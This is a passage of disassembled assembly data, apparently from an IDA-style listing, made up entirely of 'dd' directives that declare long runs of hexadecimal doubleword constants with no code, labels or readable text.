0C359AF1Ch, 26EADF1Ch, 0FC5CA95Fh dd 0C567402Ch, 0F6006294h, 48958E4Bh, 0AA208h, 5275EEB6h dd 0C72F8A49h, 0FC0E4D0Bh, 95F8D8D3h, 73E25865h, 20CF1982h dd 0FD3BA50Dh, 90618BC5h, 2F84073Fh, 0DCC40AC9h, 7C288811h dd 0DF1A00C9h, 57AD1EE3h, 5049B15h, 3975E555h, 0F6C31CD8h dd 0E039C4A5h, 2440AB9Bh, 461DE337h, 0CC0A0092h, 176E28Fh dd 0E502F1A1h, 0EE1A23E1h, 2FD4DEAAh, 0FC00F0C4h, 0B1E43DB3h dd 7719FE8h, 44743830h, 9401F50h, 0FB667D15h, 59CE9864h dd 183401AEh, 719879Fh, 61C986C1h, 8468DC74h, 90D3C54Bh dd 94B38011h, 30DEE07h, 0B9165BE9h, 2AB977D6h, 0ACC18BAFh dd 409CC8C7h, 50CE09C4h, 0C4019791h, 0DCADA8DDh, 0F61F33D9h dd 0A31399C7h, 2553F0E0h, 2820C198h, 5D15D9E8h, 8ECB7400h dd 0CF784CE9h, 6DD83AE5h, 0C3618206h, 0AF0010CEh, 4C92A55Dh dd 33CD0FFCh, 0BE08F444h, 68E2103h, 987218A5h, 0F6292443h dd 0D17A0B3Eh, 0C00674Bh, 39422F96h, 0CF30B660h, 3EDC9749h dd 0EF0195AAh, 0B0E17989h, 4C5183D1h, 0E822EB45h, 7BDAB4h dd 19FB88C3h, 63D97EE0h, 0E829B360h, 1E0B84E4h, 80897239h dd 5E659124h, 9400F31Eh, 956570Ah, 606D21BEh, 0A3499042h dd 41C3CE64h, 0AFC2842Dh, 76BB2800h, 0FD590C21h, 0B621CFCCh dd 28EA513Ah, 5300CB72h, 1E9FADB0h, 5DC7A15h, 5CC768BFh dd 0E0D880F3h, 0E6009232h, 0EDE731B8h, 3F44F6Eh, 74716276h dd 0C0F0B190h, 0A0008CA4h, 0D012FE7Ah, 3B103672h, 0FABA40h dd 7F99EDD5h, 0A7A44FA5h, 8707883Dh, 111245Dh, 80665893h dd 1652D013h, 185D28Bh, 0E7C43D10h, 63089B25h, 0D294B921h dd 181A2BD0h, 0A8578BC6h, 3230C4B5h, 115A9069h, 3158695Bh dd 30DF2000h, 7F3BC56Fh, 0A95787DEh, 3AD19740h, 30816A6Eh dd 293572DAh, 138840CDh, 0C4000C30h, 5FBBBA4h, 0CC2F535Fh dd 8721D708h, 0F8C42301h, 0E866EF8Eh, 47959050h, 2BB8027Dh dd 5CC1E5C7h, 3F822CB5h, 1196F07Dh, 0B1C2DFA2h, 0B3EDB481h dd 2CC45B0h, 0E7D73944h, 9479B8A0h, 0C76C37EBh, 2897D879h dd 0F084047Ah, 0DA62C20h, 24B50143h, 989D816Fh, 2541F708h dd 0A0D00ACh, 458C22E4h, 0E21FD495h, 0D009E691h, 0D4238810h dd 9ED28EC1h, 0D418D271h, 3734885Eh, 5A1DD200h, 0E4690E97h dd 0D05B503Eh, 0CFE518F9h, 0CC4FA853h, 5ABD9B15h, 589D29DCh dd 1E0D9C07h, 4961A594h, 0A2430011h, 286900Dh, 0F23E1961h dd 28471D07h, 0BB604B44h, 7E072419h, 2E02046Ah, 0EF6F33B0h dd 3FBC0099h, 0F5EC4706h, 650AC6FFh, 8CD21095h, 0DB182917h dd 0C0735848h, 34820B51h, 0DB03A268h, 0F2DCBB5Ch, 81F8046Ch dd 0A51D7C4h, 3985F820h, 0C04224F5h, 0A763CC7Bh, 9E63B58Ch dd 3739075Fh, 5FA7C2A9h, 310186E6h, 18A39881h, 0F20D739Ah dd 0F5608C55h, 0DA04131h, 905900B2h, 0BC546376h, 0B026DDCh dd 1BE4717h, 0B0F4A413h, 89D28F60h, 0A02DEF29h, 0BBDECBh dd 5D234451h, 4604F55Bh, 833A9736h, 80A49182h, 8459D084h dd 1E88DC54h, 0D9180DADh, 8A73C099h, 888BA500h, 92044E94h dd 6F08CC84h, 0A2015521h, 5710E2A5h, 0C441FA68h, 421338Fh dd 48C4744Eh, 0DC783011h, 0D97C51h, 4DBE7F92h, 0F411A759h dd 482F3924h, 30818820h, 90A818A1h, 0A485F294h, 274A4430h dd 0F0DAE00h, 5F31E9E5h, 0BE9000D8h, 9DBCFD6Bh, 0F8A6F78Fh dd 84580720h, 0F910E13Ch, 3D4983CDh, 85394h, 0EA2D90A9h dd 0EA6906AFh, 4C40251h, 838A4705h, 301AD5C1h, 3C9B9300h dd 9AC41E01h, 0C8180BBBh, 158D88h, 79F569C4h, 0A676704Ch dd 4417E509h, 0A50C19EEh, 0D2728A18h, 35EF26h, 932870h dd 6F1558D2h, 76EA4523h, 28DD6826h, 981744h, 8AA5088Bh dd 6EC48C88h, 0A5A35240h, 3926B1EBh, 0FB4078DAh, 8065EFCDh dd 0E6638FA0h, 0B7E84519h, 0C4883850h, 44E0A74Eh, 1C386648h dd 0C6D15293h, 0D9754F16h, 10208898h, 5B983D15h, 9012E515h dd 880EA323h, 25EF44D2h, 32204662h, 1F26D291h, 0C02EFFABh dd 6E9E7033h, 8A0901C3h, 1FBB84Fh, 81C7EA74h, 3036E842h dd 0A711C40Dh, 0CB8803BBh, 0C4248683h, 0F09698D8h, 0F2C748CFh dd 0D808A02h, 0ACA05EDAh dd 0AB339E2Ah, 0EBD7AC0Fh, 0A404F6C5h, 0FF0110FEh, 4A1108C0h dd 0C263C86Ch, 70416AF0h, 0AA03F2F3h, 94204371h, 37305DB2h dd 0A2020EA0h, 36213B78h, 437AA6B5h, 600B7481h, 0E57B13h dd 0ABE3812Dh, 302449D0h, 8FA59E80h, 448CF488h, 960E5170h dd 4056EA5h, 0CC827CFEh, 8B150062h, 0A049115Bh, 0D9B8320h dd 319DCA0Bh, 0A140104Dh, 7C780Dh, 0FA14603Bh, 0CD4F7DF2h dd 6E521618h, 608159D9h, 3B9815Ch, 76056087h, 8D2CC1Bh dd 0A1D3C000h, 38EFC6BEh, 5BACD580h, 4A465E90h, 94990B00h dd 2AC2C020h, 7E2CBB0Ch, 58AF6015h, 69F48CCh, 197542E4h dd 4813EC1Fh, 4676602Eh, 0C6D800DFh, 2637B111h, 7D940671h dd 99528F84h, 2B2F931Eh, 5B1F7E80h, 0E9AE281h, 0C97A8EB8h dd 0C3168202h, 5E641447h, 815A6F60h, 1812FCA4h, 0A00D78C1h dd 41F0A15Bh, 83E401F1h, 63FFA740h, 88AC4EF8h, 0AF8DC048h dd 0A4044437h, 494BEDF2h, 403644A4h, 5898EC13h, 5940E635h dd 4A23A83Fh, 513B7E00h, 13EE8389h, 6244096h, 0D9C6BC40h dd 60CCD483h, 219BC421h, 92C023BBh, 5E6C418h, 0F9D08E06h dd 0AB04C0D4h, 0D3F9ED8Ch, 0A04C15D2h, 11A5853Fh, 5C889C88h dd 0A59D5485h, 0DAD32437h, 8F210008h, 0DDA9B89Fh, 0BA717F19h dd 498D892h, 89022146h, 0FC8890A5h, 0A00104E7h, 9E8A5A1h dd 0E0089030h, 0D81410C7h, 3902333h, 0BB99C40Bh, 0C0B4A2F4h dd 0A0C42290h, 84E2C0Ch, 5C467448h, 23B23400h, 3B3902Fh dd 0C6022A04h, 880B5063h, 5F11981Dh, 0C0823A80h, 0D94C9812h dd 0A08130D8h, 0B23BB817h, 6F1403C4h, 0E8BFDC26h, 1F81B100h dd 0AAA78A56h, 1A82E4Dh, 832211B0h, 9A89A588h, 10613184h dd 0F6A5A053h, 300C48DCh, 0C8E016h, 5A0B3BD4h, 0A883766h dd 0F9882CB7h, 0CEEF034Ch, 2805D738h, 5BA04CB0h, 54C8C4CBh dd 0CC7AB1C0h, 9C4C5053h, 3CA85D76h, 98A9B721h, 18185F71h dd 75033300h, 0DE1A24F9h, 603B6383h, 64C2E469h, 9AA8D040h dd 0B8A61532h, 0D993096h, 0CD0685E2h, 0FD8CF395h, 41F60008h dd 0EFD1F779h, 0BF0023BCh, 75932E77h, 39DAC338h, 9600F8A0h dd 0EF851511h, 807F420Bh, 0E539D367h, 0F8F2941h, 2B1001F3h dd 851FBCFAh, 0FF3448FDh, 0F1CB88h, 97F22FBCh, 2B64E60Ch dd 0EC0B18C7h, 498D2847h, 3222E0h, 3DC8B5BAh, 35C10FD3h dd 213008CCh, 0BA2A0E01h, 15801DF3h, 727C719Ah, 0EEC84C01h dd 765F04B0h, 3CA4FE0h, 0EF0C11B1h, 0C000FAE1h, 82BAD779h dd 0CD87030h, 0D078751Dh, 21C1E108h, 5282C336h, 1BA2A20h dd 4A7E905Fh, 82309506h, 7078F858h, 7F8C8081h, 7CF754F6h dd 21661C5Eh, 0F270F2BDh, 5882B330h, 3842CE31h, 3700DC22h dd 49782BCh, 0F8B35F1h, 9A47582Ah, 638187E0h, 6930C1F7h dd 9942F87Ch, 34F7A1Dh, 3E300402h, 83033FAh, 25372171h dd 8AB60E4Fh, 57407931h, 6CA6372h, 0C0100530h, 412C9978h dd 38BEFB98h, 31F6470Dh, 980E900Ch, 7CEE488h, 66205ABCh dd 0C83C72D6h, 1EC0C2B8h, 2102F64Fh, 73912FFCh, 4F263803h dd 708728FFh, 0F23B5A2Eh, 1BA7C000h, 0E5065644h, 0A0C0D932h dd 7EB418F1h, 0C8702382h, 3800DF11h, 0C99982BDh, 193B342Ah dd 78701471h, 0E3A7A80h, 7E586001h, 0D49A8081h, 2EE84818h dd 0B1660C8Ch, 20B9A004h, 0EC23904h, 1080F3F1h, 68BE0AF7h dd 1190F127h, 4F2080BCh, 0AC2C02F8h, 3A6544ECh, 864F2800h dd 48BA3D57h, 0DD629E2h, 80ED11D8h, 702E82B8h, 0C03891E8h dd 0DB82C134h, 8B4B8F00h, 279DFA52h, 1425EE83h, 0E0D262C5h dd 89450400h, 87F4D839h, 15D17603h, 8757E63h, 0F8E1BDC8h dd 1C60C044h, 223F44Fh, 73110Ch, 2B4F2436h, 4F9B687h, 8592569Bh dd 78D2C6BCh, 0E67EA404h, 2CD82B41h, 21BC08FCh, 0CD71ED85h dd 89A680EAh, 4998B6B4h, 0BE234066h, 0FA4F2201h, 4C481C02h dd 2A3C8866h, 0A09C4F13h, 96D280Fh, 49548027h, 535851Eh dd 0C5B1395h, 0BBE03279h, 104F1F30h, 0E03402F9h, 0F4F2739h dd 3170556Fh, 0C87C3713h, 0B4BAC1CFh, 0E35C8h, 21BA2902h dd 12D0BE9Ch, 477A888h, 8EB5CB58h, 0C0E088DCh, 0E264A5E9h dd 85B94502h, 80EBB28Ch, 4D7502C4h, 3300904Ah, 9E814664h dd 9AD3F2ABh, 51A8F59Bh, 500D5DFh, 493355EEh, 1AF7E440h dd 0F976C6EFh, 60F350A4h, 233482B6h, 0E211B870h, 82BF3A01h dd 0DCF35D9Bh, 1505EBA5h, 10B3FC62h, 3623983Ah, 0A58F2F0Eh dd 78021DCh, 7AE1947Ah, 490464D1h, 0C092C003h, 0FE02ACC5h dd 6AC48582h, 328481CEh, 80E80718h, 7CEA5873h, 0F5C026C8h dd 0FB851CBCh, 0D080B063h, 2B7ABCECh, 0D04E9FEh, 6D14B13Ch dd 0A23EE6C2h, 0C95106E0h, 3EE33F30h, 30480A59h, 63468080h dd 1500D856h, 4E5D4F8Dh, 3A2DCAC3h, 0FC13FBD3h, 0EEE0403Fh dd 7D7A01A1h, 37C8443Eh, 8F921947h, 0A18CAF99h, 824BCA30h dd 5D1060h, 2AB04197h, 65B1A4D0h, 7EC65402h, 77C9CA5Bh dd 92A9D4C3h, 88BC4910h, 0ED1B0h, 0F6C45572h, 5E78FF64h dd 0E0D14899h, 17025918h, 0DD5C8B55h, 1784464h, 5E48D54Dh dd 0FFD008E5h, 7EB9AEE8h, 0BD23DD00h, 8FE99126h, 9099C013h dd 5E3175E6h, 1536EE00h, 1F09B19Bh, 833E9BCh, 0B8306EA2h dd 80C50081h, 480FABE0h, 721DAAA2h, 0DC689C99h, 0F2604770h dd 588617C9h, 95D1204h, 0EC9C072Fh, 0C484C4EBh, 88948E68h dd 0DB5C067h, 0CA05F21Eh, 0CC90D0CFh, 0F6C5DC90h, 6B6F0594h dd 20088F76h, 0D58A83CCh, 0E2CEB600h, 0C2433D80h, 96F20710h dd 70BA11DDh, 950EF4B9h, 0F4FB0224h, 4B50659Ch, 4DF7B05h dd 0BD98228Bh, 134F2130h, 382402FBh, 29053BECh, 21605A4Fh dd 0BA8F8181h, 51A6A030h, 0A0418033h, 3309420Ch, 3072A280h dd 0DB00850Fh, 0F296615Eh, 0A0A47098h, 3EE65788h, 76A6F62Ch dd 0DF467484h, 54920771h, 0A36CE39Eh, 11C215ABh, 3A443867h dd 4059CF60h, 0DFF5CB01h, 0E0063610h, 725BAC41h, 6EA28C73h dd 0E05C630h, 0CCE38D06h, 0DBA9F360h, 7424A172h, 0F6944470h dd 0A2EE0778h, 59E2D057h, 0AEC812Dh, 518277BFh, 3C15448Ch dd 811AEC68h, 0C1AC6A81h, 697800BDh, 1191DC66h, 0DD0E2B09h dd 241C4D0Fh, 0AC442C53h, 0E54674CCh, 0D7A10070h, 0FADAE0C0h dd 0EE18585Bh, 0CB913F90h, 1399300Eh, 0CA0F280h, 0EEF07541h dd 7819C064h, 0EB092143h, 0F648E302h, 15EF80Ch, 807A416Fh dd 78910A9h, 4B74807Bh, 23603E9Ah, 0F56F00F4h, 0D3FE908Ah dd 7E10F0B8h, 32886B6Dh, 0D6F468h, 55D07924h, 0F3709920h dd 90B5740Ah, 2791588Bh, 1DBCF882h, 0C6BEEC5Bh, 2829401h dd 0E01ACA8Fh, 65520A21h, 5B803B0h, 0C0A0D407h, 515791B6h dd 41A2FCDAh, 6586179Ch, 2A583207h, 10BA3430h, 0E02DC8B7h dd 0BA2C03h, 3E8F529Eh, 0C298E95h, 0B8F6BC09h, 0E3178174h dd 0C330BF4h, 1702C29h, 8522BCFBh, 0C319F5h, 0BCF2CE21h dd 0C8CAC453h, 0AC4ADC90h, 0D1CBEC07h, 0CF572F51h, 94EB6460h dd 18E75CE8h, 6E4A0041h, 95F22765h, 0A10EACDFh, 0C0376B57h dd 0B693ADFAh, 10BA06C7h, 0C9CAF547h, 36AB3E00h, 0AC5B2EAFh dd 72EA25A2h, 6511481Dh, 15E92080h, 29035287h, 2E8D2767h dd 0E25016E1h, 8FC84657h, 151CD912h, 0BA008033h, 0E54484ECh dd 24F49043h, 91D091B9h, 82029FF0h, 71E0702Fh, 0C2356084h dd 0A7007782h dd 8B9EDA94h, 0A5495FA6h, 60DCC424h, 7C46DB5Dh, 0C1E400F1h dd 2561F4ADh, 0CB62768Dh, 0E008D5D0h, 6A776Ch, 4580D2B6h dd 207D9734h, 80D6F22Eh, 64229B93h, 7FBCC4E2h, 41673D7Ch dd 81A4F19Ch, 4D09F99h, 282E05BBh, 331F0223h, 0EF162741h dd 8243C90h, 8EFA00E0h, 8FBA85D8h, 7E606910h, 1F321889h dd 361C004Bh, 5EA2E6ECh, 131CCF02h, 84476316h, 0C47A913Ch dd 1D7A260Bh, 807411ACh, 93A456DDh, 80030164h, 24FEC928h dd 277430F4h, 772E9A00h, 6DC8BB26h, 4A6330D3h, 732B53B9h dd 28C4951Ch, 0FF07EACFh, 228C8602h, 30BC81F9h, 0EC32A17Eh dd 3BA2F053h, 0D6DF30h, 8FEC067Dh, 948728BDh, 60D40A30h dd 504D64D0h, 96E58020h, 0F4465CECh, 668FBF00h, 43029F13h dd 802D0E27h, 0F59A1564h, 0C4732BEh, 333029B8h, 0C8B611BAh dd 803C8825h, 56BA2B04h, 6000C83Dh, 788403D6h, 2479F14Bh dd 2674F6F0h, 0E3467468h, 0F2174C00h, 0ECA5C19Bh, 9F001498h dd 0B0048C33h, 248AE0EDh, 89CC256Ch, 24C5D06Fh, 1E6067E4h dd 8709540Ch, 0A6DB3A8Ch, 89F108h, 22B2D1E3h, 0AC4B6BA4h dd 15B93400h, 0BF8EEE5Ah, 763C9C7Bh, 0CD072D46h, 82870453h dd 0C8C0B190h, 9C816D54h, 0EC59CC22h, 2F051ABCh, 0AA4AC596h dd 6AB86CC1h, 38BCCB01h, 8CE5BC20h, 0C16E8101h, 3374F6C8h dd 2CB81820h, 74CC3D64h, 76756746h, 8865523Bh, 0C88FF100h dd 0E78C2836h, 0A2A8CCE1h, 0D9DBD31Ch, 0BA4B6040h, 0A4CEBA5h dd 28B17502h, 4EF100F8h, 0DFBD2ADBh, 0BB810401h, 0E69FA4F7h dd 1B82838h, 0A7B4243h, 0E7E12969h, 47D740FCh, 0BBFABE1Ah dd 9F4FDF00h, 821DC10Eh, 78B4000Fh, 7A529242h, 3105F7FDh dd 71088170h, 0B12BB400h, 0FFCF83EEh, 2FE21023h, 69DEFF33h dd 0CA008231h, 0F41204EFh, 91267004h, 0C38B3428h, 88689DBAh dd 3C604202h, 0CDCBD1Ah, 821C88F8h, 0B20C1B50h, 0C12F91EEh dd 0A0FD29E0h, 6084D3ACh, 2246A130h, 7800F5FBh, 125E3843h dd 5CBA4FDAh, 0B021F4F3h, 0FF1868F9h, 0E38C0105h, 82160ECAh dd 6C284091h, 288C2508h, 4CB1BA2Fh, 7E7C445h, 136EF027h dd 0B2384DE2h, 0B6F50919h, 918C97EBh, 0A0E78036h, 0A23A38Ah dd 0E5028593h, 58FA1188h, 0A4530548h, 0E02FE6BAh, 414375h dd 0BF2CA81Eh, 4B0E1955h, 0C5244E81h, 0C0F48890h, 703382B5h dd 0E030C05Ch, 7D82BE39h, 0D78A0024h, 6625B41h, 853B3AB3h dd 30F720BCh, 0F831EFE2h, 7A4DE890h, 0A4B92F30h, 56C27014h dd 28ECF29Ch, 7CC124Ch, 8BA06704h, 11A89A72h, 0BA308526h dd 9C4DBC82h, 28FF01A8h, 8DC608BAh, 0A50ED4FEh, 0F6F68C72h dd 602D6830h, 9E548970h, 0EC10B28h, 3CA774C9h, 90EE0C6Ch dd 3AE0512Ch, 0BD268804h, 8DFA41B8h, 39A0E897h, 0C0205B5Eh dd 580144D0h, 0B456BC1Fh, 5629B2F0h, 80A03962h, 60B4726Ch dd 98FAB9B8h, 0B2817DBCh, 68BC7028h, 937E0F8Ch, 836C8AF0h dd 5E7FE219h, 7572240Eh, 7755E101h, 80504465h, 74BF387h dd 5D114392h, 0C0DD90D2h, 0D112899Fh, 3440FC90h, 0B55C93C1h dd 70BE0443h, 807E8426h, 8604DBF2h, 0C2F284Ah, 0C141FF10h dd 0E6C50D46h, 0E22C9078h, 960540FCh, 330040C1h, 44840449h dd 6B947Dh, 57DEC7E5h, 0CF1558EFh, 1C206CB0h, 0E6C90B6Eh dd 0E08BF594h, 0E0E418E5h, 74449960h, 58FDBB48h, 0F5AE1A04h dd 4428C798h, 0CA386071h, 34900205h, 32D964A2h, 8D1C1C40h dd 0F1CC7632h, 4B620E7h, 8371FE3Eh, 0CB00A574h, 9D51273Bh dd 0BA69C0h, 0D04E4190h, 2E1BE7Eh, 0ED6D25h, 4F7EC00h dd 11C9603Dh, 0EEE28086h, 270059DFh, 0D0B9585Ah, 0F74F1D2Fh dd 0ADE080FBh, 0F3E40474h, 860329DFh, 5FF60A94h, 23902FF0h dd 46010074h, 8FDBA91Eh, 0DFE55302h, 40A89610h, 65FD7582h dd 0B3B9A02Eh, 0A63E006Ch, 0BBBC94A9h, 702F00F1h, 78571E10h dd 40E5D36Bh, 0AD06CBE4h, 59ECF752h, 0AA8BCB4h, 127080AAh dd 0E44A8878h, 5674FE01h, 0A828E364h, 424302E8h, 7E04213Ch dd 0E34C7A25h, 3374A24Ch, 547F0AFh, 610C7784h, 216B6A29h dd 44BE0076h, 0A8D5A4C5h, 5200E03Ah, 601E145h, 2FE3719h dd 0D08F0B0Ch, 84E07C1Eh, 0F100BC80h, 97BE272Bh, 7B7A3BF8h dd 63C815D2h, 11248C45h, 0C0210032h, 0A8943D92h, 769AC1Fh dd 201F338Ch, 643E7757h, 0CE7C1020h, 0C02D88D4h, 0EBE1ED8Ah dd 8D1E3492h, 0A9C0E78Fh, 75B35984h, 0B470397Ch, 4918A116h dd 4021F820h, 78FD06CAh, 931D3888h, 0FC8852B5h, 0F68C1286h dd 0C988D1E1h, 0B488003Bh, 66543E23h, 21748017h, 803164F0h dd 13C97599h, 2FCB95FCh, 0DADE0D70h, 0DC6D1400h, 5B56B838h dd 786EACh, 9519D51Fh, 72997322h, 38F09AF4h, 78407CF6h dd 0C08D4B01h, 0C468BE8Ch, 0B9E1A064h, 0E0F24E8h, 66697564h dd 73913C9Dh, 83A88480h, 604911Dh, 3ABD04FFh, 0FA3940A8h dd 101F0110h, 0A053E3Bh, 0CFF8BAC0h, 0C07188BCh, 0E2A69092h dd 651302FCh, 444F2BC5h, 4AD0F4B4h, 0C9C11C9Bh, 64FE90ECh dd 9E75A118h, 0C529DE1Dh, 726538C0h, 30E9ABh, 15BF846Ch dd 0B145023Eh, 8C802162h, 424CE362h, 71E240D8h, 0F8A0A30h dd 80F5791Dh, 1E1C21B3h, 80A9618Dh, 893D29D8h, 17CF3EB9h dd 8B44ABAh, 0C18EA22Ch, 0F984C2E0h, 4FE3FF5Bh, 0F01197Bh dd 0EC24F80h, 746C67BDh, 467E8588h, 8F200167h, 0D1C79AF8h dd 5D6981FFh, 447A2182h, 0CCA92A59h, 1F26C84h, 661974B8h dd 24787C31h, 80B02AC9h, 2012BCF9h, 0F08B0585h, 0BCF0CC01h dd 0A168B545h, 73F1B8C0h, 9D003118h, 0D096E914h, 197F270h dd 0BC52F035h, 3D668B8Eh, 57420034h, 0FE99283Dh, 3BC1275Ch dd 188849Dh, 47186042h, 0DA16FA5Eh, 0B013575Ah, 0BF8070DBh dd 901F21FBh, 7741FF20h, 1B0300E9h, 5286B6BAh, 6100249Bh dd 0DDF8C3E8h, 72FACC5h, 698C172Ah, 0E0ED40DAh, 882B1530h dd 937BA07Ah, 4709E805h, 62920143h, 8FEE7582h, 2B9C50E3h dd 0DC9C4906h, 0C8099C2Ch, 0D040489Eh, 45E4AFEh, 168C409Ch dd 87F1A008h, 90FA176Ch, 50E9B84h, 0E0093E00h, 0C8BA8104h dd 0DBD34A75h, 712E80E0h, 6CED636h, 9080B38Ah, 2004107h dd 0DE59FF61h, 0E649D191h, 90460966h, 54113E12h, 0BCE81928h dd 0D585291Eh, 0EED24038h, 600053BCh, 258731A5h, 1F29BE4Ch dd 0C9C496F2h, 946791B9h, 0D067E144h, 5DBAC1FAh, 97FF4D00h dd 0D19B80AFh, 0CB074BD7h, 4210DCBCh, 0CA70E4C0h, 0D8A8250Eh dd 462FDD93h, 9DEC2FFBh, 1ED19705h, 0E7F01CA0h, 41C95C1h dd 7F8DBB07h, 0E111EBDCh, 4180F6E2h, 0AC07D55Eh, 295B01F0h dd 0FEC9C001h, 708E0678h, 80246315h, 9CB97Ah, 0A3F8989Ah dd 95B12ADFh, 6B064C37h, 5BD897FCh, 7BB40331h, 0B1A6687Fh dd 7561D224h, 8728240Bh, 8B1B2960h, 0BB400144h, 3C4BECF7h dd 85C0E488h, 968C5B40h, 708086E4h, 862DD90Eh, 97A8BA4Eh dd 80F4112Ch, 0D10C36A8h, 292009B8h, 0A8274CF6h, 0B05DBE47h dd 98DA79E1h, 6000A29Fh, 0DC0C7C49h, 0E4CB6E26h, 0C9D8B20Bh dd 6B2AE6F4h, 585C0164h, 4E0920F1h, 73C2E1F4h, 0BEFCA017h dd 0BD949443h, 20BCE0A0h, 0C08BEB12h, 9DC03B88h, 74EC9FB6h dd 719B1240h, 3898A596h, 8C30BCCCh, 84C7C401h, 7D694F72h dd 0E8A0B050h, 58F800B0h, 35D2BCCh, 6100CF18h, 0EB4B5FAh dd 6BB231Ah, 64F3E180h dd 67005132h, 168CB175h, 81AAB3h, 3CC4BEB5h, 0D6F5967Fh dd 7432E200h, 72DB4EF2h, 84A82D99h, 0DCC5F02Bh, 0CB60DFE4h dd 0F1129ECAh, 808C8CDh, 9BFA1366h, 0CAB8034h, 3E796CC1h dd 0CA179FA4h, 47C4E45h, 8CC0CDABh, 0CC128F0Ah, 80C81340h dd 2EC401Ah, 27993D18h, 97808E28h, 0DB113C1Dh, 4088C09Ch dd 3E4171CEh, 72EDF204h, 64B4695Ch, 0F0207FB7h, 0D7EF13A0h dd 159A00A3h, 0FFFDBB71h, 0D8D6F001h, 0CDDE8C84h, 16A498A0h dd 0CD751879h, 0C921F248h, 903544E6h, 0B789C30h, 80628304h dd 40687C24h, 4ACD10E0h, 0AD74B156h, 0E3918097h, 65178782h dd 0A403A05Ah, 0B58650CAh, 0C70EE011h, 587203C0h, 2548FE22h dd 0B7189809h, 710051EBh, 5E1182Fh, 870288C5h, 0B10CB351h dd 0C30C4201h, 2AE1104h, 70D23975h, 9610D918h, 0E250A326h dd 233830E2h, 202B2F03h, 0FBE0DC9Ah, 0D22100E9h, 0C3E9F2Ch dd 0E300AD43h, 0CD57D893h, 50295F2h, 6851C13Bh, 0EA50A499h dd 8FC439C3h, 44E5C0CBh, 12B0001Ch, 0D5F93A9Ch, 0A61EF0AFh dd 4005632h, 0BE6E8DB8h, 2B9B2CBAh, 79870974h, 747908D9h dd 4500EA18h, 0B8266951h, 12CA522Bh, 0E491B6C9h, 0D616B57Ch dd 60A217A0h, 543136F2h, 0ED4EFCh, 7597D41Bh, 0B4FEC8C0h dd 4C72FD40h, 2EE8A84Ch, 0E1B6248Ch, 26A039DCh, 0C69BF105h dd 0B081ED6Ah, 0A805F721h, 0F1C0F24Ch, 480263Ch, 3E1F0174h dd 0BE608C7Dh, 0AF4B7E7Eh, 0FE312650h, 0CBE20830h, 61084424h dd 525A1640h, 0D664A2C4h, 0A0807CDAh, 9D3C5004h, 4674509Eh dd 5432013Ah, 0EF996694h, 29A0A8B8h, 694968FAh, 369A0014h dd 7FC6A97Ch, 0F904000Dh, 93172BF6h, 372739A8h, 0D870A0E2h dd 0EB49D26h, 20253DBCh, 0F3C500D3h, 0A28CA172h, 0F77644BEh dd 116A018h, 0FC04C4EFh, 201DBEAh, 5433E55Dh, 0B05CA6A0h dd 79D0E98Eh, 114A0009h, 0E0168805h, 8D7086FAh, 0C5201C98h dd 2AEB0439h, 0F028E8FEh, 96006C64h, 0CAD9F163h, 9A0164E6h dd 5EA09478h, 8041F621h, 0E61FAF52h, 0C90BE028h, 10652533h dd 0EBD592D0h, 1ED57F4h, 0B191FDDEh, 0F83B0656h, 0A03B8186h dd 31D85094h, 2BFD5BF0h, 7123982Fh, 0E659500h, 0FC80E279h dd 0BACA2C54h, 18EF74F0h, 596E0099h, 57D5AE28h, 69C2756Ah dd 0E48BEE79h, 0DFC1037Ch, 328626F0h, 707288E2h, 0B95C980Ch dd 9E6F8873h, 950E823Ch, 58DAE38Eh, 3D328127h, 0D275027Ch dd 0D0C05724h, 711C59F1h, 0A3254647h, 0C0BE2710h, 9B4218Ah dd 2FF402E0h, 60245C04h, 26B9BA2Eh, 70805DC8h, 0BA1F26FDh dd 4900E798h, 0B1832D55h, 82692A42h, 0C240088h, 114FA13Ah dd 7A126C73h, 0C40FD8Fh, 571B2D13h, 61F4E0h, 0D0D2C307h dd 0B232A89Ch, 0DF6D7601h, 0F7BB7E04h, 925D5420h, 841D9FDCh dd 0CB806E91h, 0DE95FDFh, 2FBCBE05h, 0D810298Fh, 10470F78h dd 0F2ADE27Eh, 876CD2D7h, 41A84EC0h, 5EE7F960h, 8DA40E48h dd 16E9A37Fh, 0FC74B000h, 0C499E358h, 5060ACDBh, 54058125h dd 0C8970B53h, 8C3348E1h, 6B306DA2h, 92A60007h, 83B91EBDh dd 3E00E952h, 2CE0010Fh, 3457E1BCh, 0A90AC942h, 91590E04h dd 54D82036h, 9730E78h, 675AF84Ah, 0DDC0ACEDh, 1ABD1E1Fh dd 0C8519AEEh, 0D97E2C60h, 3AF8C0A4h, 0E73D8217h, 0F62CF004h dd 0DBEC00A8h, 0A330008Ch, 0D92A9AE1h, 9D4CDD97h, 98D810DCh dd 51EEC501h, 7A766BB0h, 0F400106Eh, 0D93E4C88h, 2105C890h dd 725B1D03h, 0EBC02CA8h, 22A5399h, 3E573100h, 905AED23h dd 8C495009h, 24A09F63h, 0F68CFAF5h, 991890h, 1841EADBh dd 64F243A6h, 0A5803801h, 948D3B51h, 0A917D062h, 0C550E4F6h dd 3FF14040h, 0F282AFC0h, 0F41CEECAh, 0E311B89Fh, 99726581h dd 38026B5Ch, 50F7DCC1h, 40904F48h, 7B60388h, 6D053FD8h dd 16DEE6A1h, 34924380h, 3C7005DCh, 0A9852B9Ch, 0A887C44h dd 0AF0C9CC4h, 0C6E2FC1Bh, 0FC0924DAh, 0F84F5C3Ch, 0F5471A98h dd 68178129h, 0E980E511h, 0CACB289Eh, 0D088F80Ch, 6B69D896h dd 0ACE57144h, 74606EE4h, 9B0E040Fh, 9C184D5h, 5C978026h dd 4887F67Eh, 0F8324862h, 0F4649089h, 3EAC840Bh, 2DF46AEBh dd 0E4002174h, 47DD1DC8h, 449A4FC4h, 6E127A80h, 1400ADEDh dd 8A608B39h, 414A950Dh, 6DAC60D4h, 168C3F40h, 3E7DD022h dd 76723D4h, 372241F2h, 68910C0h, 0A22DFDE0h, 8008B5E6h dd 0D5C4DFE3h, 1403BF70h, 3D4F8573h, 0D6EBAA80h, 42E07C68h dd 0EB782686h, 0D2400090h, 0E53C847Ch, 0D8C43A4Ah, 8F1844B3h dd 0A25A390Ah, 60107300h, 0D0C08072h, 759D0BFAh, 0B460BF8Eh dd 150429B1h, 6803CF9Bh, 0FDF508E2h, 4BDD8348h, 6504882Bh dd 90B61786h, 844CC039h, 0AC9A8AC4h, 0CF8093Ch, 10FA2EBCh dd 0B00753D7h, 0C4202A1h, 0A93507B1h, 2B80F0C5h, 4A5E7C40h dd 465E309Eh, 232901E6h, 0F0E1F886h, 0C5711980h, 0DEB02431h dd 0DFD2A709h, 586C7A64h, 4100C1FAh, 81A3901Bh, 5E094CCEh 